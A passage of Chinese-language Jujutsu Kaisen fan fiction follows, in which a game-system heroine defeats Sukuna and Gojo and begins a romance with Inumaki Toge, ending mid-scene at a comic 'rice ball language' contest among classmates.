狗卷棘抿了抿唇,眼神有点飘忽。啊,这被子怎么这么被子,这衣柜怎么这么衣柜,这墙也太墙了,必须好好研究。 狗卷妈妈被他的反应逗乐了。 “哎呀,差点忘记重要的事情,我去叫今野小姐来。”狗卷妈妈起身,踩在地板上的步子发出轻快的节奏。 狗卷棘听见隔壁的房门被敲了敲,随后发出吱啊的声响。 他的心慢慢地提了起来。 几乎听不见的脚步声越来越近,在门推开的那一瞬间,他整个人都滑进了被子里,只露出一双眼睛和银白色的头顶。 今野桃和他对上视线时,都忍不住笑了。 “看样子恢复得不错。”她在床边坐下,撑着下巴说道,“有哪里不舒服的吗?” “木鱼花。”狗卷棘晃了晃脑袋。 “那就好。”今野桃探了探他的额头,抚摸的时候,他的眼睛不自觉地眯了起来,像是一只小猫咪。 发现她在笑以后,倏然整个都缩到被子里的模样,更像了。 叮—— 手机忽然响了。 今野桃低头一看,发现竟然有人偷偷摸摸在被子里给她发消息。 [小桃要回去了吗?] 今野桃瞄了一眼鼓成团子的被子,回道:[是呀,你的手臂也接回去了,我的任务完成了。] 隔着一层被子,像是隔着一层无法跨越的屏障。 莹莹白光照在狗卷棘的脸上,也照出了他泛红的眼眶。手指在按键上停留许久都没有按下去,好不容易打出来,最后又删掉了。 他想起始终没有消息的同学,生死不明的老师,还有已经沦为炼狱的东京。每个人都在前仆后继地奔赴危险,纵然知道是死亡也不曾畏惧。 他不会做把头埋在沙子里的鸵鸟,就算没有手臂也无妨,更遑论现在他已经完全恢复了。 妈妈,虽然在死前没能把想说的话说完、想做的事情做完,确实非常遗憾,但他不能把遗憾留给其他人,变成其他人的负担。 沉默良久,狗卷棘终于按下了发送键。 [那祝你一路顺风。] 【狗卷棘好感值:85】 今野桃看着屏幕上跳出的短短一行字,无声地笑了笑,回道:[好。] 离开狗卷家的那天,天空湛蓝如洗,和来时一样晴朗。今野桃婉拒了送别的请求,只在门口简单地道别。 望着她渐行渐远的背影,狗卷棘感觉心里像是被挖空了一块。 或许,此次一别,他们就再也不会见面了。 北海道是个不错的地方,封闭又偏远,除非被邀请,否则轻易不会掺和到总监部里来。而他很快就要奔赴战斗前线,贡献出自己或许微不足道的力量。 听说为了抵挡两面宿傩,已经折损了很多咒术师。 他可能也会…… 所以,还是不要去打扰别人了。 对上妈妈略显担忧的目光时,狗卷棘平静地笑了笑。 第202章 当五条悟和两面宿傩分站于对面时,所有关注着他们战斗的人都提着一颗心。 当世最强和千年前最强的战斗,结局仿佛被迷雾笼罩,不到最后一刻,谁也说不清楚。 五条悟的白发在风中微微扬起,幽蓝的光芒在“六眼”中流转。对面,两面宿傩四只猩红的眼睛闪烁着危险的光,黑色纹路在他苍白的皮肤上蔓延。整个新宿因他们而震颤,废墟间弥漫着硝烟的气息。 硬吃了几个大招的两面宿傩看起来狼狈不堪,而对面的五条悟似乎状态也不太行了。 真是能扛啊。 这是他们两人不约而同的念头。 就在刚刚,利用狗卷棘的术式,两面宿傩被强行暂停了动作,制造出了一个本应该杀死他的破绽。奈何两边的实力相差甚大,哪怕狗卷棘付出了沉痛的代价,两面宿傩也很快就摆脱了他的控制。 现在,少年被乙骨忧太和熊猫搀扶着退出了战斗区域,仍有源源不断的血液从他的嘴角溢出,将同学们的衣袖染得通红。 所以五条悟才没有让所有人一起上,不够强的话,只会成为两人战斗间的炮灰,连领域都无法抵抗。 “很久没有这样一场尽兴的战斗了。”有着四只眼睛的诅咒之王扯了扯嘴角,黑色头发的他看起来更加阴郁,“如果你们现在投降,我可以饶恕你不死。” 五条悟像是听到了什么笑话般,笑声在废墟间回荡:“一般说这句话的人,最后都输了。” 只有已经感到力不从心了,才会产生和解的念头。 两面宿傩嗤了一声,两手结印:“那就看看最后谁才是赢家吧。” “真是嘴硬。” 一句话把五条悟脑海中的想法说了出来,但这句话并不是他自己说的。 他扭头,看见一个陌生的人影逐渐变得清晰。她在距离两边都有大概十几米的位置停下,颇为苦恼地开口道:“看你们两个打架真的很难受,瞧瞧新宿都被你们炸成什么样子了。” 都生死关头了,谁还在乎建筑啊。 还有,你是谁? 这个念头在关注战斗的所有人的脑海中浮现,他们 面面相觑,都从对方眼中看见了迷茫。 而唯一知道她身份的人,张了张嘴,却一个字也说不出。 乙骨忧太还以为他难受,一边对他使用反转术式,一边安慰道:“很快就会好的。” 狗卷棘:“……” “你又是谁?”两面宿傩问出了大家都很在意的问题,他傲慢地开口道,“想死吗?” “你这样说,只会越发让人看出你的色厉内荏。”毕竟他当初可是一言不发直接把人切片的,今野桃叹了口气,“你这个只知道战斗爽的家伙,不会真的相信了羂索的话吧?说什么大家一起进化、变得更加强大之类的。” 两面宿傩的眉毛微微上挑:“你见过他了?” 今野桃眨了眨眼睛,说道:“啊,他已经被我杀掉了。” 羂索那个狡猾的东西……死了? “他跟我说什么人类与咒灵啊、称霸世界啊乱七八糟的话,太莫名其妙了,我就把他杀掉了。”她轻描淡写地说道,“如果真的为了这片大地上的人类着想,海对面的国家已经给我们做出示范了。” 撤掉天元的结界,让负面情绪自由挥发,咒灵的数量或许会变多,但质量必然降低,成为普通咒术师也能祓除的存在。 还有,天元的结界消失后,与之伴生的“六眼”自然也会消失,咒灵的实力上限跟着被削弱,到那时,普通人也可以加入祓除咒灵的队伍,咒术师不会再成为必须隐瞒的职业。 皆大欢喜。 但偏偏有人为了一己私欲,把这片大地拉入地狱。 是渴望长生的天元?是妄图统治所有人的羂索?还是舍弃不了利益的表世界高层? 说到底,不过都是私欲罢了。 两面宿傩沉默地打量她,最终疑惑道:“那么,你来这里是做什么的呢?” “来阻止你继续毁灭。”今野桃单手插兜,另一只手随意地垂在身侧。她穿着普通的休闲装,T恤衫搭配牛仔裤,衣服下摆被风吹得微微鼓起,看起来完全不像是来战斗的,而是偶然经过的路人,“来终结一切。” 好狂妄的话! 两面宿傩显然被挑衅到了,他非常夸张地“哈”了一声,注意力完全转移到了她的身上,笑声中充满讥讽:“简直不知死活。” 今野桃对他的暴怒置若罔闻,淡定地调出只有自己能看见的属性面板。 是,她承认两面宿傩平均30点的满值属性很可怕,但她氪金了啊! 她有挂! 几瓶属性药水下去,她的全属性瞬间从30点飙升到了50。虽然限时一小时,但对付他,完全足够。 “喂喂喂,没人在意我吗?”五条悟在旁边挥舞着双手,“我竟然是配角吗?” 没有人搭理他。 “好吧。”他耸了耸肩膀,“不过没事,成熟的大人会自己找架来打。” 说完,他抓住了两面宿傩分神的时机,身形如闪电般袭去。 不管那个女孩是不是来帮忙的,但至少她帮他吸引了两面宿傩的火力,如果她没有撒谎,真的那么强,那么两个人一起的话,两面宿傩也不会…… “砰!” 五条悟的拳头在半空中被一只纤细的手掌稳稳接住,他惊愕又困惑地看向了她。 他们不是队友吗? 今野桃抓着他的手臂,往旁边一甩,冷酷地说道:“不要来抢我高光,好吗?” 这是她的碾压局!不要浪费她氪的金! “我抢你高光?”五条悟差点被气笑了,“你要不要听听自己在说什么呢。” “好吧,”今野桃遗憾开口道,“既然如此,那就只能先解决你了。” “?”五条悟的脑门上真的要冒出一个具现化的问号了,“行啊,那就来战!” 两人打成了一团。 两面宿傩:“……” 他们是不是有病? 突然,不知道从哪里飞过来的一块石头砸中了他的额头。 伤害不大,但侮辱性极强。 两面宿傩深吸了一口气。 忍不了了,他要把眼前的两个人全都杀掉!。 半小时后,场上只有一个人还站着。 她轻描淡写地拍了拍身上的灰尘,看了一眼天上飞过的乌鸦。 在众目睽睽之下,她露出了一个浅浅的笑容,透过镜头,仿佛在注视着某个人。 “我说过的。”和之前战斗时的冷酷形成了鲜明对比,她此时的语气堪称温柔至极,“天塌下来,还有高个子顶着。” 狗卷棘呼吸一滞,眼眶莫名有些发酸。 【狗卷棘好感值:95】 第203章 年轻女生如同一阵风,来无影去无踪。将两面宿傩击败后,她就消失不见了。 等到五条悟将后续的事情处理完,才总算打听到了她的来历。 “是北海道那边的咒术师呢。”他瘫软在椅子上,像是液体猫咪,学生们围在他的身边,“真稀奇,他们竟然也会插手东京这边,之前还左请右请不肯来。” “原来北海道还有这么厉害的咒术师,以前都没有听说过。” “反正事情终于结束了,总算能好好休息一下了……” 想到后面还有数不清的修复工作和善后事宜,就有一种想逃走的冲动呢。 乙骨忧太侧过头,看向始终沉默不语的狗卷棘,担心地说道:“狗卷同学还好吗?还是让家入医生看看吧。” 他的话说完,大家都跟着看向了狗卷棘。五条悟从椅子上跳下来,没有被遮挡住的蓝色眼睛倒映出学生略显古怪的神色。 “忧太不是已经治疗过了吗?难道有什么后遗症?”他靠近了一点问道。 狗卷棘连忙摇头,在手机上打字道:[没事的!只是短时间内可能没办法说话了。] 五条悟伸出手,在他的肩膀上拍了拍:“这次真的辛苦你们咯。” “这本来也是我们一直在做的事情。”乙骨忧太笑了笑,眼下的青黑越发明显,“是我们的责任。” 五条悟环视一圈,从每个学生的脸上都看出了坚定和不悔。他有些欣慰,还有些快乐。 这也是他一直在做的事情。种下越来越多的种子,培养他们长大,最后成为支柱。 “好了,大家回去休息吧。”五条悟对他们比了个wink,“其他的,交给老师就好了。” 听到这句话,大家都松了一口气,希望重新在心中点燃。 五条老师就是所有人心里的顶梁柱,是指引他们的灯塔。 众人拖着沉重的步伐回到了高专,因为有结界保护,再加上地里位置偏远,所以东京高专并未受到多大的损害。为了方便后续工作,大家就索性在这里住下了。 狗卷棘打了一盆水,拧了毛巾, 擦拭着自己很久没住的房间。他打扫得太过投入,以至于有人出现在阳台也没发现。 “不去吃饭吗?”含笑的声音将他惊醒,他猛地回头,逆着光看见女生的身影斜靠在窗框上。 蹲在地上的狗卷棘张了张嘴,没有发出声音。 今野桃的表情立刻变了,她快步走到他的面前,俯身捏住了他的下巴。 “受伤了?”她眉头紧皱地问道。 好吧,时间没掐准,还是晚了点。 没办法,为了一个闪亮的开场,她已经读档三次啦。 不过事实证明,还是很有用的,好感值现在不就快满了吗。 狗卷棘没有躲开她的动作,反而顺从似的从衣领下抬起了头,一双又圆又亮的眼睛清晰地倒映出她的面容。 夕阳从她的身后照来,把她整个人都镀上了一层金色的光晕,连发丝都在发光。 [我没事。]他慢慢地比着口型说道。 今野桃垂眼看他,忽然说道:“那你有什么想问我的吗?” 想问她的……?狗卷棘沉默几秒,掏出了手机。 他和她之间的对话还停留在之前治疗断臂的时候,从她离开后,他们再也没有互相发过一条消息。 有时候,他会看着这段戛然而止的对话发呆。 狗卷棘的指尖在屏幕上轻轻敲击,发出细微的声响。很快,一条消息发了过来。 今野桃看了一眼他的屏幕,上面赫然写着:[你没受伤吧?] 他没有惊叹她竟然这么厉害,也没有怪她为什么不早点来。他只是问她,在那场混战中,有没有受伤。 她的手从捏着变成托着,少年尖尖的下巴乖巧地搁在她的掌心,他的肌肤在阳光下近乎透明,呼吸温热地拂过她的指尖,像蝴蝶振翅般轻盈。 “我没受伤。”她无奈叹息道,“你从直播里看见了吧,他们都打不过我。” 但是打不过归打不过,也不能代表她不会受伤吧。 狗卷棘这么想着。 而且五条老师的领域展开主要是针对精神的,从外面也看不出来。 “算了。”他听见她突然这么说。 下一秒,她的指腹已经按在他的唇瓣上。那触感柔软得不可思议,带着微微的凉意。 “张嘴,我检查一下。” 检、检查?! 狗卷棘的身体瞬间绷紧,紫罗兰色的瞳孔微微收缩。 “在害怕什么?”她短促地笑了一声,“我会轻轻的。” 这不是轻点的问题吧…… 狗卷棘嗫嚅着,显然相当为难。 “好啦,我就看看,不会伸进去的。”她温言软语地哄道,手指微微用力,不容拒绝,“不管怎么样,让我看一下你的伤,万一没处理好,小心做一辈子的哑巴哦。” 狗卷棘倒吸了一口冷气,连忙乖乖张开了嘴。 他对她有一种全然的信任,似乎她说的任何事情,他都会毫不犹豫地相信。 因为没有工具,也不能用手指深入,今野桃只好凑近了些,托着他的下巴来回转动。 她的影子覆盖在他的身上,鼻尖几乎要碰到他的肌肤。 “唔,好红啊……应该是溃烂了。”她心疼地用手指揉了揉他颊边的咒纹,“反噬很严重,如果不好好治疗,最少一个月没办法说话。” 明明承受着这样剧烈的痛苦,狗卷棘的表情却一直没什么变化。显然已经习惯了这种疼痛,也习惯了忍耐。 ——这岂不是更像小狗了嘛! 蓝色的咒力在她的指尖凝聚,又麻又痒的感觉从喉咙处传来,让狗卷棘本能地往后缩了缩。 “别躲。”今野桃强硬地扣住他的后颈,命令道,“看着我。” 她的额头抵着他的,纤长的睫毛几乎能数得清楚。 少年怔怔地望向她,透过黑曜石般的眼眸,看见了她眼中的自己。 他的脸好红,连呼吸都是滚烫的。 ‘桃……’ 嘴唇开合几次,无声的念出了那个名字。 她听见了。 今野桃眼睫轻颤,缓缓靠近。两人的呼吸交织成网,唇与唇之间只剩一线之隔。 哗啦—— 寝室门被猛地推开。 “啊嘞?” 哗啦—— 寝室门被用力关上。 几秒钟后,外面传来了对话声。 “老师,你怎么出来了?不是说去看棘吗?” “哈哈,我们现在可能不方便进去呢。” “诶?为什么?棘在换衣服吗?” “不是哦。” “啊,那为什么不……” “因为他在接吻嘛。” “哈啊啊?!!!” 咚! 屋里屋外同时传来了重物落地的声音。 第204章 几秒钟后,寝室门“哗啦”一声被推开,狗卷棘几乎是跌跌撞撞地冲了出来,发丝微乱,呼吸还有些急促。 “木鱼花!”他沙哑地说道。 一旁的乙骨忧太立刻接过话,语气温和地替他翻译:“棘说,五条老师刚刚说的不对。” 话刚说完,他忽然怔了怔,略带惊讶地望向狗卷棘:“等等,棘的嗓子好了吗?我记得你的伤应该还挺严重的。” 狗卷棘下意识抬手摸了摸自己的脖颈,低声回应:“大芥。” “是她治好的吗?”五条悟一手摸着下巴,饶有兴味地眯起眼睛,话中带笑,“棘不给我们介绍一下?” 要、要介绍吗…… 狗卷棘略显犹豫地回过头,就在这时,那位女生步履从容地走了出来。她目光平静地扫过众人,声音冷淡。 “因为只想见一见棘,所以贸然前来,还请多多包涵。” 她是一个狂妄的人——这是所有人不约而同浮上心头的第一印象。 但回忆起之前战场上的场景,她的狂妄似乎也是意料之中。 那可是一连压过了当世最强和千年前最强的更强者!虽然五条老师根本没认真出手,完全是在浑水摸鱼…… “那要一起吃晚饭吗?”五条悟揽着狗卷棘的肩膀,笑吟吟地说着,一副热情邀约的模样,“我们可是特意来喊棘吃晚饭的呢。” “不了,我还有点事。”今野桃淡淡回绝。 “行吧,那我们先去食堂咯,棘你记得等下过来。”五条悟夸张地咂了咂嘴,终于慢悠悠松开了手,临走前还不忘对狗卷棘眨了眨眼睛。 直到一行人的脚步声彻底远去,狗卷棘才像突然卸了力似的,肩膀轻轻垮了下来,悄悄舒出一口气。 “棘好像很遗憾。”今野桃的声音轻轻响起。她的手无声地贴上了他的后背,掌心温热,透过薄薄一层衬衫熨帖着他的肌肤。 狗卷棘打了个激灵。 “木鱼花。”他低声反驳,语气听起来很坚决。 可那坚定里,又藏着多少不易察觉的心虚? “不遗憾吗。”她的呼吸倏然靠近,只是眨眼的功夫,眼前的场景变换,少年被按在了墙上。 女生姣好的面容出现在他的视线中,她的眼睛微微眯着,深邃的瞳孔中流转着意味不明的幽光。 “但是我很遗憾。” 明明已经被逼迫得紧贴墙壁了,但她却仍然要上前一小步。他被夹在柔软温暖的身体和冰冷坚硬的墙面之间,进退维谷,空气也变得稀薄。 “棘不会让我带着遗憾离开的,对吧?” 她的另一只手按住了他的肩膀,不急不缓地靠近。 狗卷棘的视线慌乱游移,睫毛不住地颤抖,却始终没有躲开,仿佛被某种无形的东西钉在了原地。 她的唇离他越来越近了,仿佛下一秒就会亲上来。终于,狗卷棘忍不住闭上了眼睛。 他几乎屏住了呼吸,等待着她的垂怜。 然而,预想中的亲吻并未彻底落下——那份温热仅停留于他的唇角。 “忽然想起一件很重要的事情。”她在他的耳边厮磨着,声音轻得像一句蛊惑人心的咒语,“我还没有对棘说过,我喜欢你。” 轰地一声,像是有烟花在他的大脑中炸开,五颜六色的光芒在视网膜上闪烁,理智被彻底抛向天际。 他几乎没能听清她的话语,整片世界都只剩下嗡鸣。 “……那么,棘呢?”她不肯放过,低声追问,“棘喜欢我吗?” 狗卷棘的喉结滑动,有什么非说不可的话已经滚到了舌尖。他张着嘴,忽然脑海中闪过一个念头。 如果……如果他现在说了喜欢,那么她会被他诅咒,永远喜欢他吗? “快点呀。”她柔声催促,声音里带着一丝委屈,“棘难道不喜欢我吗?” “……喜欢。”这个词终于挣脱束缚,脱口而出。他声音发颤,如同梦呓,“我……喜欢你。” 于是,久旱的土地终于迎来了甘霖。 起初,只是试探性的触碰,唇瓣相贴时两人都轻轻战栗。 “好甜……”她含着他的下唇呢喃,舌尖若有似无地擦过唇缝。这个动作让少年喉间溢出呜咽,像被揪住后颈的猫崽,脆弱又无助。 随后,她逐渐加深这个吻。她轻轻撬开他的齿关,舌尖探进去时舔过凸起的咒纹,带来细微的痒意。狗卷棘的膝盖微微弯曲,仰起头承受这个吻,颈项拉出纤弱而顺从的线条。 今野桃的手指插进他银白色发丝间,将他按得更深—— 唾液交换的声音在寂静的走廊里格外清晰。狗卷棘的眼眶渐渐湿润,破碎的喘息被她尽数吞下。 她柔韧的舌诱哄般地缠住他那怯生生躲闪的舌尖,一点点引导,直至进入自己的领地。他原以为这是温柔的指引,却不知猎人早已布下陷阱。 当她的牙齿不轻不重地碾过他舌面上的咒纹时,少年整个人都是绷紧的,如同一张被拉开到极致的弓。细微的电流般的快感顺着脊柱窜上来,让他脚趾都蜷缩起来。 夕阳逐渐西沉,最后一点余晖洒遍大地。狗卷早已迷失了对时间的感知,彻底沉溺于这个缠绵的吻中。 好像过了很久很久,她终于稍稍退开。狗卷棘急促地喘息着,被吻肿的嘴唇像浸透的玫瑰花瓣,在阳光下泛着湿润的水光。 今野桃用指腹擦过他唇角:“好了,快去吃饭吧,别让老师和同学等急了。” 少年仍有些恍惚,一双淡紫色的眼眸里像是蒙了一层薄薄的雾,水光氤氲,映照着未散的情动和懵懂。他下意识地点了点头。 就在两人将要分开时,他忽然主动凑上来,生涩地碰了碰她的嘴唇。 “一路平安。”他低声说道。 “好。”。 在众人翘首以盼的目光中,狗卷棘终于出现在了食堂门口。他微微低着头,略显局促地在同学们早已预留出的空位坐下,动作间带着几分不易察觉的僵硬。 “真是姗姗来迟啊。”五条悟拖长了语调,嘴角噙着一抹玩味的笑意,“这就是有对象的人吗。” “真好,我们之中终于有人谈恋爱了。”熊猫憨厚的嗓音里透出实实在在的欣慰。 “打住,打住,我对男生的恋情毫无兴趣,也并不想知道那些细节。”钉崎野蔷薇双手交叉横在胸前,斩钉截铁地打断了对话,脸上写满了抗拒,“什么接吻不接吻的,一点意思都没有。” 接吻啊…… 这个词仿佛有着奇特的魔力,让一圈单身人士的表情瞬间变得复杂而微妙,空气中弥漫起一种混合着好奇、窘迫和一丝羡慕的寂静。 五条悟终于憋不住,“噗嗤”一声笑了出来。他优哉游哉地挥了挥手,打破了凝滞的气氛:“哎呀哎呀是假的啦,我只是在逗你们而已。其实我看得很清楚,他们没有亲上去啦,只是在检查伤口而已。” 呼—— 原来如此。 “可恶,五条老师你居然骗人!”钉崎野蔷薇扯出一个假笑,连忙转向另一位当事人,“狗卷学长,别误会啊,我们其实都真心替你高兴,巴不得你赶紧找到幸福呢。” 就在这时,一直沉默的狗卷棘忽然轻声吐出一句:“木鱼花。” “看吧,”五条悟立刻接话,语气得意,“棘都说了不是呢。” 然而他的话音还未落下,一旁的乙骨忧太弱弱地举起了手,小声补充道:“那个……老师,棘的意思是,并非假的。” 啊? 刹那间,所有人的表情都凝固在了脸上。 第205章 这顿饭最终还是狗卷棘买的单。 作为唯一一个有对象的人,在面对同期和后辈幽怨的眼神时,他选择了使用道具——金钱,成功消除了他们身上的debuff。 “不行了,一想到我们和敌人你一拳我一拳的时候,狗卷前辈在和对象卿卿我我,一股无名火就直冲大脑呢。”钉崎野蔷薇十指交叉,胳膊肘撑在桌上,一脸深沉地说道。 “这样说来,确实让人很不爽诶。”虎杖悠仁噘着嘴,口中的饭菜都不香了。 一旁看热闹的五条老师恶劣地添油加醋:“怎么办啊,棘,同学情谊突然变得好脆弱耶。” 狗卷棘沉默地从口袋里掏出钱包,轻轻推到餐桌中央。他该庆幸今天是在学校食堂用餐,否则以这群饿狼的架势,怕是要把他彻底榨干。 大家一哄而上,如蝗虫过境,用深不见底的大胃袋将他的钱包洗劫一空。不知道是哪个好心人,居然还给他留了两枚百元硬币在夹层里叮当作响。 他真是谢谢他们了。 捂住心口,狗卷棘觉得自己的心在滴血。 踏着夜色回到寝室,本以为会是空空荡荡的房间里,竟然还有人在。今野桃躺在他的床上,慢条斯理地翻看着他的课本。 “回来了。”她抬眼,含笑问道,“聚餐愉快吗?” 狗卷棘看着慵懒自在的女友,眼睛里难得流露出了丝丝幽怨。 他摸了摸几乎空空如也的钱包,哒哒哒地跑到了桌子边上,从抽屉里拿出了一本素描本。 他快速地在上面勾勒着,短短几笔后,将素描本翻转给她看。 只见洁白的纸张上出现了一个飙泪的饭团,虽然没有声音,但一看就知道它很伤心,那硕大的荷包蛋泪眼简直可怜极了。 “海带!”他的语气里带着一丝显而易见的委屈,像是在控诉什么。 今野桃合上课本,唇角噙着温柔的笑意坐起身,轻轻拍了拍身旁的床铺示意他过来。 “这么可怜吗?来让我看看。” 狗卷棘却没有依言坐下,而是俯身撑在膝盖上凑近她。银白的发丝随着动作轻轻晃动,在灯光下泛着柔和的光泽,紫色的眼眸在近距离下显得格外清澈。他伸出两根手指,比了个“一点点”的手势,然后打开钱包给她展示。 “看来我们的棘受委屈了。”今野桃故作沉重地叹气,指尖点了点着他微鼓的脸颊,“需要我去教训一下他们吗?” “木鱼花!”狗卷棘赶紧抱住了她的手臂。 “真的不要吗?”今野桃故意拖长语调,感受着少年加大力度的拥抱,“他们就算加在一起,也不是我的对手哦。” 狗卷棘的脑袋摇得像拨浪鼓,脸颊紧紧贴在她的手臂上,生怕她挣脱开来。 今野桃低低地笑了两声,她伸出手,想去捏捏他看起来有点郁闷的脸颊。 然后,她被咬住了。 指尖传来温热而湿润的触感,带着一点轻微的、绝不会弄疼她的压力。 今野桃微微一愣,看着狗卷棘像只撒娇又使坏的大型犬,用牙齿轻轻衔住了她。 他紫色的眼眸抬起,里面闪烁着恶作剧得逞般的狡黠光芒,哪里还有刚才那副委屈巴巴的样子。 “松口。”她轻轻晃了晃手指,狗卷棘的脑袋也跟着晃动。 她试图抽回手,但他咬得不紧,却也不让她轻易挣脱,反而用舌尖调皮地舔了一下她的指腹。 今野桃挑眉,眸光变得意味深长。 小狗也想翻身做主人了。 她换了一只手要来捉他,就在她抬起手的瞬间,狗卷棘放开了她,然后以更快的速度抓住了她的那只 手腕。 今野桃顺着他的力道往后仰,陷进了柔软的床铺里。 咦,他刚刚用力了吗? 狗卷棘的眼中闪过一丝疑惑,不过很快就将其抛之脑后。 不管了,反正他赢了! 狗卷棘的双手轻轻按住她的手腕,整个人倾覆下来。发丝垂落,扫过她的额角,两人的呼吸几乎交缠在一起。他紫色的眼眸里闪烁着胜利的、亮晶晶的光芒,像只成功扑倒猎物的大型犬,正准备得意地享用战利品。 他微微启唇,似乎想说什么,或者更可能是想做点什么——比如一个宣告胜利的吻。 然而就在这个瞬间,他猝不及防地坠入她含笑的眼眸。那双眼尾微微上扬的眸子里漾着温柔的波光,像是春日照耀下的池塘,清澈见底又暖意融融。 从什么时候开始,她的笑容变多了? 明明最初见面时,她总是冷若冰霜,连一句软话都吝啬给予。 是他将她融化了吗? 只是刚刚浮起这个念头,狗卷棘就忍不住心跳加速,血液都仿佛沸腾起来了。 ‘桃……’ 他的神智微微恍惚。 就在这个失神的刹那,身下本该被彻底“压制”的今野桃,忽然手腕灵巧地一翻,反而扣住了他的脉门,力道不重,却恰到好处地让他动作一滞。 他几乎是本能地想要后退重整态势,但今野桃握住他手腕的手指微微收紧,阻止了他的退却。 “抓到你了哦,轻敌的小狗。”她戏谑开口道。 狗卷棘喉结滚动了一下,胜负欲和某种更深的情绪被瞬间点燃。 他不再试图挣脱她扣住的手,反而利用体重更彻底地压向她,彻底消除了那点微小的距离。在今野桃因为他的突然靠近而眼神微动的刹那,他抓住了这转瞬即逝的机会。 他低下头,额头轻轻抵住她的额头,强制她与自己对视,紫罗兰色的眼睛像是水晶一样清透。 他清晰地、低沉地,带着一丝扳回一城的笑意和绝对的专注,吐出了那三个字: “不许动。” 咒言的力量化作一条条丝线,试图将她束缚。 今野桃眼中闪过一丝真正的惊讶,咒力像是蛛网笼罩在她的身上,脆弱得只需要她动动手指就能撕碎。 他们之间的差距实在相差太大,如果反抗的话,恐怕少年会当场被反噬而死吧。 她只好束手就擒,摆出任人宰割的模样。 狗卷棘仔细观察着她,终于松了口气,得意的笑容重新回到脸上。他小心翼翼地、带着点炫耀意味地,把她扣住自己手腕的那只手轻轻掰开,然后十指相扣地按在枕边。 他凑近她无法动弹的唇,在几乎碰到的距离停下,呼出的热气拂过她的皮肤,然后用气音般的声音,得意地说: “……鲑鱼。” ——是我赢了。 “好吧,是你赢了。”她包容地轻笑,眼底漾开一片温柔的涟漪,丝毫没有败北的懊恼,反而盛满了纵容和一丝不易察觉的宠溺。 狗卷棘望着她全然接纳的眼神,心头那点争强好胜的小小火苗,倏地被一种更柔软、更滚烫的情绪悄然取代。 他松开与她十指相扣的手,指尖带着微颤,极轻地拂开她额前的碎发,温热的掌心缓缓抚上她的脸颊。 今野桃没有说话,只是安静地望着他,眼中只有他的身影,整个世界好像只剩下彼此交错的呼吸声。 他不再犹豫,慢慢地、珍重地低下头。 当他的唇终于贴上她的,那是一个不带任何侵略性、唯有无限怜惜的吻。如同蝴蝶栖息在初绽的花瓣上,如同初雪悄然落于温热的掌心。柔软,温热,带着少年毫无保留的赤诚。 这个吻并不深入,却持续了很长的时间,仿佛要将所有的悸动和未言说的情感都倾注其中。直到呼吸都变得颤抖,他才依依不舍地稍稍退开,额头却仍亲昵地抵着她的,鼻尖蹭着鼻尖,共享着灼热的呼吸。 “金枪鱼蛋黄酱……”他低声嘟囔着自己最喜欢的馅料名字,声音比平时更沙哑几分,带着浓浓的眷恋和一丝羞涩的满足。 今野桃抬手,指尖轻轻划过他发烫的耳廓,最终落在他微红的眼尾,笑容温柔得能将人融化。 “我也最喜欢棘了哦。” 第206章 众所周知,狗卷棘因为语言不通,平日里跟人沟通是比较麻烦的。那么,大家就有了一个疑惑—— “狗卷前辈该如何和女朋友说话呢?”虎杖悠仁举手问道,“难道也是说饭团语吗?” “鲑鱼。”狗卷棘给出了肯定的答复,宽大领口下的嘴角扬起一抹淡淡的笑容。 “但女朋友会不会听不懂?”虎杖悠仁好奇地追问。 “木鱼花。”狗卷棘摇摇头,随后骄傲地竖起大拇指,“腌鱼子!” 乙骨忧太微微睁大眼睛,随即露出恍然大悟的表情:“棘是说,你的女朋友完全能听懂你说的话吗?” 真是太厉害了! 钉崎野蔷薇摸了摸下巴,若有所思:“既然如此,那不知道乙骨前辈和狗卷前辈的女朋友,谁对饭团语的了解更深。” “当然是忧太啊!”熊猫用力拍打着同伴的肩膀,震得乙骨一个踉跄,“不要小看了我们之间的羁绊啊!” “那不一定。”虎杖悠仁持反对意见,“我觉得是狗卷前辈的女朋友,毕竟是恋人嘛,应该会心意相通吧。” “但他们才谈了几天的恋爱啊,哪有这么快的心意相通!” “反正我觉得是狗卷前辈的女朋友……伏黑,你说呢?” “……我选乙骨前辈。” “啊!你怎么能不支持我们!” 一群人吵吵嚷嚷的声音在走廊里回荡,直到远处渐渐出现两个熟悉的身影。早晨的阳光照在他们身上,隐约能辨认出其中一人银白的发丝在风中轻轻飘动。 “哟,大家在讨论什么呢,这么热闹?”五条悟双手插兜,嘴角噙着玩味的笑意缓步走来。 “五条老师!”虎杖悠仁像颗小炮弹般冲过来,在五条悟面前才急急刹住脚步,“你觉得谁才会是饭团语十级选手!是今野小姐还是乙骨前辈!” “哎呀,这个问题嘛……”这可真是一个好问题,让五条悟也陷入了沉思。 他旁边的今野桃短促地笑了一声,声音散漫:“看样子,你们对答案有不同的想法。” “咳咳,我们没有怀疑你和狗卷前辈感情的意思,就是好奇,好奇而已……”熊猫缩了缩脖子,讪笑道。 在今野桃意味深长的注视下,它不自觉地流下一滴冷汗。 “既然如此,不如我们举办一场‘饭团语大赛’好了!”为了转移注意力,熊猫突然高举毛茸茸的爪子,“让我们看看,到底是友谊的羁绊坚不可摧,还是爱情的红线牢不可破!” “好主意!” “听起来似乎很有意思。”不太正经的老师兴致勃勃地想要加入,“我也要玩!” 他把伏黑惠挤开,站在了一年级的队伍之中。 “不要莫名其妙地就兴奋起来了啊……”伏黑惠不得不来到了二年级的队伍里,他没什么精神地说道,奈何完全没有人在听。 于是操场上原本正在锻炼的一二年级被分成了两队,其中钉崎、虎杖和五条老师支持今野桃胜出,熊猫和伏黑惠支持乙骨忧太。 “很好,那么比赛规则就是,狗卷前辈用饭团语说一句话,今野小姐和乙骨前辈在纸上将这句话翻译出来,谁的意思最接近,谁就胜利!”虎杖悠仁将纸和笔塞进他们的怀里,“输的人要请客吃大餐!” 今野桃掂了掂铅笔,看着狗卷棘,略微挑眉:“那我岂不是必胜?” 原本并没在意这种玩笑似的比赛的乙骨忧太一下就被挑衅到了,他正色道:“我对棘也略有了解,胜负可不一定呢。” 今野桃笑而不语。她和乙骨忧太分立于狗卷棘的左右两侧,站成了一个三角形。 狗卷棘站在中央,略显羞涩地清了清嗓子,银发下的眼眸却闪着跃跃欲试的光。他看了看今野桃,又看了看乙骨忧太,然后深吸一口气,说出了第一轮比赛的短语: “鲑鱼子,明太子,金枪鱼蛋黄酱!” 短暂的沉默后,大家爆发出了激烈的讨论。 “这一定是某种密码!” “好复杂,完全没有听懂啊!” 然而,今野桃和乙骨忧太几乎是不假思索地捏着笔,唰唰作响地在纸上写了起来。 不过片刻,两人同时亮出答案。 乙骨忧太:[太好了,终于要下雨了,记得收衣服。] 